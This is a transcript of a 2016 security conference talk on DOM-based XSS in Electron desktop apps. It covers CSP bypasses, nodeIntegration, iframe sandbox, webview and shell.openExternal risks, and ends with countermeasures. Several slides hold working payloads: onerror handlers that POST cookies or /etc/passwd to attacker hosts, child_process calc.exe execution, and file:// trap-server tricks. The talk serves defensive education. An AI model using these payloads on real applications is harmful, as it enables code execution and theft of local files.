SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directions
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdf
 

[CB16] Electron - Build cross platform desktop XSS, it’s easier than you think by Yosuke Hasegawa

  • 1. Build cross platform desktop XSS It’s easier than you think ELECTRON Secure Sky Technology Inc. Yosuke HASEGAWA
  • 2. Yosuke HASEGAWA @hasegawayosuke Secure Sky Technology Inc. Technical Advisor OWASP Kansai Chapter Leader OWASP Japan Chapter board member CODE BLUE Review board member http//utf-8.jp/ Author of jjencode, aaencode Talked at Black Hat Japan 2008, KOREA POC 2008, POC 2010, OWASP AppSec APAC 2014 and others. Found many vulns of IE, Firefox and others. Secure Sky Technology Inc. CODE BLUE 2016
  • 3. Secure Sky Technology Inc. CODE BLUE 2016 What's Electron ? Framework to develop the cross-platform desktop application developed by GitHub Capable of developing applications in HTML+JavaScript Used by many application developpers
  • 4. Secure Sky Technology Inc. CODE BLUE 2016 What's Electron ? HTML + JavaScript = Native Apps Microsoft HTML Application (*.hta) Firefox OS Apache Cordova / Adobe PhoneGap Chrome Apps Electron / NW.js Electron Cross platform Capable of building binaries
  • 5. Secure Sky Technology Inc. CODE BLUE 2016 What's Electron ? Contain node.js & Chromium as runtime Main process Overseewholetheapplication.Theverynode.js Renderer process Chromium+node.js main process renderer process Electron Apps IPC
  • 6. Secure Sky Technology Inc. CODE BLUE 2016 What's Electron ? main process renderer process Electron Apps IPC index.html package.json { "name" : "Apps name", "version" : "0.1", "main" : "main.js" } main.js let win = new BrowserWindow( {width:840,height:700} ); {json} <html> <head>...</head> <body> <script>...</script> </body> </html> win.loadURL( `file://${__dirname}/index.html` );
  • 7. Secure Sky Technology Inc. CODE BLUE 2016 What's Electron ? In renderer, node.js run in the browser node function can also be disabled. Enabled by default. <html> <script> const fs = require( "fs" ); function foo(){ fs.readFile( "./test.txt", { encoding: "utf-8" }, (err, data) => { document.getElementById("main").textContent = data; } ); } </script> <div id="main"> </div> </html>
  • 8. Secure Sky Technology Inc. CODE BLUE 2016 Electron Apps Security
  • 9. Secure Sky Technology Inc. CODE BLUE 2016 Electron Apps Security Three major Problems Security measures as Web application Renderer is a browser. Measures for DOM-based XSS is necessary Security measures as local application Measures for traditional application, such as race condition and improper encryption Security measures specific to Electron Measures for the various function of Electron
  • 10. Secure Sky Technology Inc. CODE BLUE 2016 Electron Apps Security Three major Problems Security measures as Web application Renderer is a browser. Measures for DOM-based XSS is necessary Security measures as local application Measures for traditional application, such as race condition and improper encryption Security measures specific to Electron Measures for the various function of Electron
  • 11. Secure Sky Technology Inc. CODE BLUE 2016 Securitymeasuresas Webapplication Renderer process : Chromium + node.js DOM operation tend to increase DOM-based XSS is easy to occur Open redirector(*) by JavaScript (*)open redirector : URL Redirection to Untrusted Site Security measures for the front end similar to the traditional Web application is necessary
  • 12. Secure Sky Technology Inc. CODE BLUE 2016 Securitymeasuresas Webapplication DOM-based XSS is easy to occur DOM operation is often Originally, DOM-based XSS is hard to find fs.readFile( filename, (err,data) => { if(!err) element.innerHTML = data; //XSS! }); fs.readdir( dirname, (err,files) => { files.forEach( (filename) => { let elm = document.createElement( "div" ); elm.innerHTML = `<a href='${filename}'>${filename}</a>`; //XSS! paerntElm.appendChild( elm ); }); });
  • 13. Secure Sky Technology Inc. CODE BLUE 2016 Securitymeasuresas Webapplication Fatal damage if DOM-based XSS occurs In many cases node function is also available in the code injected by Attacker Not the only XSS = alert Read and write local file Communicate in any protocol Interference to other application Generate arbitrary process So, it is possible to exec arbitrary code triggered by DOM-based XSS
  • 14. Secure Sky Technology Inc. CODE BLUE 2016 Securitymeasuresas Webapplication Traditional Web application Showing false information, Leaking Cookie, Leaking the information in the web site ... All that JS can do in “the Web site” Can not do anything beyond the Web site Protected by the browser ... Sandbox Even if there is a vulnerability, no impact on other than its own Web site Damage occurs only to the extent that Web site owner can take responsibility
  • 15. Secure Sky Technology Inc. CODE BLUE 2016 Securitymeasuresas Webapplication XSS in Electron Exec arbitrary code in the authority of a user using the application All of what the user can do on the PC  Destruction of existing applications  Tampering and sniffing of online banking apps  Infection and delivery of malware Can do anything beyond the scope of the application The responsibility of the developer really changes
  • 16. Secure Sky Technology Inc. CODE BLUE 2016 Securitymeasuresas Webapplication Against attacks on Electron application JavaScript for the Web site falsification Even if it is obfuscated, finally DOM operation Look for the insertion of <iframe> and <script> JavaScript for attack to Electron Any function process is present as possibility Checkup the behavior in detail is necessary The technique of the analysis side is immature, too
  • 17. Secure Sky Technology Inc. CODE BLUE 2016 Electron Apps Security Three major Problems Security measures as Web application Renderer is a browser. Measures for DOM-based XSS is necessary Security measures as local application Measures for traditional application, such as race condition and improper encryption Security measures specific to Electron Measures for the various function of Electron
  • 18. Secure Sky Technology Inc. CODE BLUE 2016 Securitymeasuresas localapplication Securitymeasuresforlocalapplicationisnecessary Symlink attack Race condition Improper use of encryption Too much access right  e.g. Confidential information as 644 Alias notation of file name  e.g. 8.3 filename, ADS(file.txt::$DATA) and many others DifferentknowledgebackgroundfromWebapps Platform-specificknowledgeisalsonecessary
  • 19. Secure Sky Technology Inc. CODE BLUE 2016 Electron Apps Security Three major Problems Security measures as Web application Renderer is a browser. Measures for DOM-based XSS is necessary Security measures as local application Measures for traditional application, such as race condition and improper encryption Security measures specific to Electron Measures for the various function of Electron
  • 20. Secure Sky Technology Inc. CODE BLUE 2016 SecuritymeasuresspecifictoElectron Notes on using individual API <webview> tag shell.openExternal Architectural problems of Electron BrowserWindow normally loads "file://" There is no address bar unlike browsers
  • 21. Secure Sky Technology Inc. CODE BLUE 2016 Deep dive into DbXSS of Electron
  • 22. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS XSS that occur on JS by giving sources to sinks without escaping source: Character strings attacker gave sink : To generate HTML from character string and to run it as a code source Process sink location.hash location.href location.search document.referrer window.name xhr.responseText postMessage location.href document.write innerHTML eval Function setTimeoutsetInterval
  • 23. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS Damage in traditional XSS Show of alert Show false information in Web apps Cookie theft Theft of confidential information in Web apps anything else? elm.innerHTML = "<img src=# onerror=alert('xss!')>"; elm.innerHTML = "<form>ログイン:<input type='password'>"; elm.innerHTML = "<img src=# onerror="new Image().src='http://example.jp/?'+document.cookie">"; elm.innerHTML = "<img src=# onerror="new Image().src='http://example.jp/?'+elm.innerHTML">";
  • 24. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS on Electron apps node function on renderer is enabled by default // xss_source is character string that attacker can control elm.innerHTML = xss_source; // XSS! <img src=# onerror= "require('child_process').exec('calc.exe',null);"> <img src=# onerror=" let s = require('fs').readFileSync('/etc/passwd','utf-8'); fetch( 'http://evil.utf-8.jp/', { method:'POST', body:s }); ">
  • 25. Secure Sky Technology Inc. CODE BLUE 2016 ” “ DOM-based XSS on Electron apps Arbitrary code exec is possible - Like Buffer Overflow XSS: The New Buffer Overflow In many respects, an XSS vulnerability is just as dangerous as a buffer overflow. 多くの点から見て、XSS 脆弱性の危険性はバッファ オーバーフローに匹敵します。 "Security Briefs: SDL Embraces The Web", Apr. 2008 http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/e n-us/magazine/cc794277.aspx
  • 26. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS on Electron apps XSS that occur on JS by giving sources to sinks without escaping source: Character strings attacker gave sink : To generate HTML from character string and to run it as a code source Process sink location.hash location.href location.search document.referrer window.name xhr.responseText postMessage location.href document.write innerHTML eval Function setTimeoutsetInterval
  • 27. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS on Electron apps XSS that occur on JS by giving sources to sinks without escaping source: Character strings attacker gave sink : To generate HTML from character string and to run it as a code source Process sink location.hash location.href location.search document.referrer window.name xhr.responseText postMessage location.href document.write innerHTML eval Function setTimeoutsetInterval user name database file contents file contents file name logs webFrame.executeJavaScript webViewrequire
  • 28. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS on Electron apps Source that did not exist in the traditional Web apps Every data which are unrelated to HTTP and Web can be XSS source Sink does not increase so much It usually does not give dynamic argument to require and other sinks Not conscious of source, and it is important to escape when hand it to sink Proper DOM operation (e.g. textContent, setAttribute)
  • 29. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy
  • 30. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy Apply CSP to renderer as XSS countermeasure is effective? <head> <meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'self'"> </head> <body> <script src="./index.js"></script> </body> renderer //index.js elm.innerHTML = xss_source; // XSS!
  • 31. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy xss_source = '<meta http-equiv="refresh" content="0;http://evil.utf-8.jp/">'; <script> require('child_process').exec('calc.exe',null); </script> http://evil.utf-8.jp/ meta refresh is not limited by CSP Openedinrenderer.nodefunctionisavailableinrenderer. <head> <meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'self'"> </head> <body> <script src="./index.js"></script> </body> renderer //index.js elm.innerHTML = xss_source; // XSS!
  • 32. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy Another pattern <head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> renderer //index.js iframe.setAttribute("src", xss_source); // XSS?
  • 33. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy Another pattern <head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> renderer //index.js iframe.setAttribute("src", xss_source); // XSS! app.on('ready', () => { win = new BrowserWindow({width:600, height:400} ); win.loadURL(`file://${__dirname}/index.html`); .... main.js origin === 'file://'
  • 34. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy <head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> renderer //index.js iframe.setAttribute("src", xss_source); // XSS! xss_source = 'file://remote-server/share/trap.html'; window.top.location=`data:text/html, <script>require('child_process').exec('calc.exe',null);</script>`; file://remote-server/share/trap.html Sinceoriginis"file://",attacker'sfileserverisalsosameorigin In top level window, node function is available
  • 35. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy Even after CSP restricted to read resource, page transition is possible by meta refresh  Transition in renderer to trap page prepared by attacker  In the trap page prepared by attacker, of course CSP does not work Because of "file://", attacker's resource is from same origin  Easy to put iframe or script source In renderer, node function is available Conclusion:cannotreducethreatofXSSbyCSP
  • 36. Secure Sky Technology Inc. CODE BLUE 2016 Disabling node in renderer
  • 37. Secure Sky Technology Inc. CODE BLUE 2016 Disabling node in renderer Disable node of renderer, threat reduce At the time of creating BrowserWindow, to specify disabled explicitly is necessary. Enabled by default. app.on('ready', () => { win = new BrowserWindow( { webPreferences:{nodeIntegration:false} }); win.loadURL(`file://${__dirname}/index.html`); .... main.js
  • 38. Secure Sky Technology Inc. CODE BLUE 2016 Disabling node in renderer node function in renderer is enabled by default Unless explicitly disable node, it remains enabled Disabling node in renderer, make Electron apps unpractical Still, is disabling node effective?
  • 39. Secure Sky Technology Inc. CODE BLUE 2016 Disabling node in renderer HowfarattackspossibleinnodedisabledJS Before then, origin is "file://" With XHR, etc, reading local file is possible app.on('ready', () => { win = new BrowserWindow( { webPreferences:{nodeIntegration:false} }); win.loadURL(`file://${__dirname}/index.html`); .... var xhr = new XMLHttpRequest(); xhr.open( "GET", "file://c:/file.txt", true ); xhr.onload = () => { fetch( "http://example.jp/", { method:"POST",body:xhr.responseText } ); }; xhr.send( null );
  • 40. Secure Sky Technology Inc. CODE BLUE 2016 Disabling node in renderer Disabling node is possible, by explicitly specifying Disabling node in renderer, make Electron apps unpractical Even after node is disabled, reading local file is possible
  • 41. Secure Sky Technology Inc. CODE BLUE 2016 iframe sandbox
  • 42. Secure Sky Technology Inc. CODE BLUE 2016 iframe sandbox To limit the DOM operation access within <iframe sandbox>, as application To operate iframe from outside Even if DbXSS occurs in iframe, the damage is limited <iframe sandbox="allow-same-origin" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe> .... document.querySelector("#sb") .contentDocument.querySelector("#msg").innerHTML = "Hello, XSS!<script>alert(1)</script>"; // not work
  • 43. Secure Sky Technology Inc. CODE BLUE 2016 DbXSS mitigate - <iframe sandbox> <iframe sandbox[="params"]> Representative allow-forms - Allow form to exec allow-scripts - Allow script to exec allow-same-origin - Allowsameoriginhandling allow-top-navigation - Allowinterferencetotop allow-popups - Allow pop-up To specify allow-scripts is dangerous In iframe, JS work normally allow-top-navigation, allow-popups are dangerous, too
  • 44. Secure Sky Technology Inc. CODE BLUE 2016 <iframe sandbox="allow-popups"> <iframe sandbox="allow-same-origin allow-popups" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe> ... var xss = `<a target="_blank" href="data:text/html,<script>require('child_process') .exec('calc.exe',null);</script>">Click</a>`; document.querySelector("#sb") .contentDocument.querySelector("#msg").innerHTML = xss; Click (iframe) data:text/html, <script>require(...) ← CE C ± √ 7 8 9 / % 4 5 6 * 1/x 1 2 3 - = 0 . + 0 In BrowserWindow generated by popup, JavaScript work with enabled node function
  • 45. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag
  • 46. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag Put other sites in renderer Unlike iframe, do not have any access to the outside of webview (e.g. window.top) CannoteasilydoDOMoperationfromoutsideeither (There is no kind of iframe.contentWindow) Enble/disable node function is possible by each of webview Allow generation of new window by allowpopups attribute <webview src="http://example.jp/"></webview> <webview src="http://example.jp/" nodeintegration></webview> <webview src="http://example.jp/" allowpopups></webview>
  • 47. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag Newly opened window by window.open(), <a target=_blank>, etc In iframe and webview, enabled or disabled of node is different <webview allow-popups> node disable renderer(nodeenable) <iframe> node always disable renderer(nodeenable) <webview allow-popups nodeintegration> node enable renderer(nodeenable) New renderer (node disable) New renderer (node enable) New renderer (node enable)
  • 48. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag Safe to disable node and use preload function In preload script, even if in node disabled webview, node function is available <webview src="http://example.jp/" preload="./prealod.js"> </webview> //preload.js window.loadConfig = function(){ let file = `${__dirname}/config.json`; let s = require("fs").readFileSync( file, "utf-8" ); return JSON.eval( s ); };
  • 49. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag Common case Making existing Web app a native app Put existing Web app in <webview> <body> <webview src="http://example.jp/"></webview> <script src="native-apps.js"></script> </body> Code Blue SNS Ads
  • 50. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag Common case Making existing Web app a native app Put existing Web app in <webview> <body> <webview src="http://example.jp/"></webview> <script src="native-apps.js"></script> </body> Code Blue SNS Ads webview
  • 51. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag Common case Making existing Web app a native app Put existing Web app in <webview> <body> <webview src="http://example.jp/"></webview> <script src="native-apps.js"></script> </body> Code Blue SNS Ads webview webview contain 3rd party advertisement
  • 52. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag Inthecaseofwebviewcontaining3rdpartyad Ad JS freely exec code in webview If node is enabled, both ad JS and node function are available in webview Even if node is disabled, such as rewriting the entire screen or show of fake login screen are possible via window.top e.g. malicious advertising, delivery server pollution ... Code Blue SNS User: Pass: // load fake login page window.top = "http://evil.utf-8.jp/";
  • 53. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag Countermeasure : Ads are shown in iframe sandbox  Prevent interference to top  Not applicable for JS embedded type ad Web app  DoesnotaffectadtotheWebappbeyondtheorigin  Users can check if the site is valid, with address bar Electron app  Even for ad in iframe, it is possible to exec malicious code if node function is enabled  Users cannot check if the site is valid, without address bar
  • 54. Secure Sky Technology Inc. CODE BLUE 2016 window.open from <webview> allowpopups attribute In window.open, popup is enabled Inwindow.open,file:schemecanalsobespecified Attackers can read local files by running file:// origin script through file server <webview src="http://example.jp/" allowpopups></webview> // http://example.jp window.open("file://remote-server/share/trap.html"); // file://remote-server/share/trap.html var xhr = new XMLHttpRequest(); xhr.open( "GET", "file://C:/secret.txt", true );
  • 55. Secure Sky Technology Inc. CODE BLUE 2016 window.open from <webview> Countermeasure Take off allowpopups attribute Or, check the URL in main.js // main.js app.on('browser-window-created', (evt, window) => { window.webContents.on('new-window', (evt,url) => { let protocol = require('url').parse(url).protocol; if (!protocol.match( /^https?:/ )) { evt.defaultPrevented = true; console.log( "invalid url", url ); } }); });
  • 56. Secure Sky Technology Inc. CODE BLUE 2016 shell.openExternal shell.openItem
  • 57. Secure Sky Technology Inc. CODE BLUE 2016 shell.openExternal, shell.openItem Start external program correspond to URL or extension const {shell} = require( 'electron' ); const url = 'http://example.jp/'; shell.openExternal( url ); // start OS standard browser shell.openItem( url ); let file = 'C:/Users/hasegawa/test.txt'; shell.openExternal( file ); // file open in OS standard way shell.openItem( file ); let filename = 'file://C:/Users/hasegawa/test.txt'; shell.openExternal( file ); // file open in OS standard way shell.openItem( file );
  • 58. Secure Sky Technology Inc. CODE BLUE 2016 shell.openExternal, shell.openItem Common case Open such as window.open from webview with OS standard browser If attakers can manipulae URL, they can run any commands  Cannot hand over argument to command webview.on( 'new-window', (e) => { shell.openExternal( e.url ); // Open with OS standard browser }); <a href="file://c:/windows/system32/calc.exe">Click</a>
  • 59. Secure Sky Technology Inc. CODE BLUE 2016 shell.openExternal, shell.openItem Verification is necessary, not to pass any arbitrary URLs to shell.openExternal, shell.openItem if (url.match( /^https?:/// )) { shell.openExternal( url ); //open in browser }
  • 60. Secure Sky Technology Inc. CODE BLUE 2016 Conclusion
  • 61. Secure Sky Technology Inc. CODE BLUE 2016 Conclusion domXss().then( die ); // ACE In the context of enabled node, do to allow external scripts to run In the file: scheme, do not allow external scripts to run Attacker can use the trap file server
  • 62. Secure Sky Technology Inc. CODE BLUE 2016 Question ? hasegawa@utf-8.jp @hasegawayosuke http://utf-8.jp/ Credits to @harupuxa, @kinugawamasato, nishimunea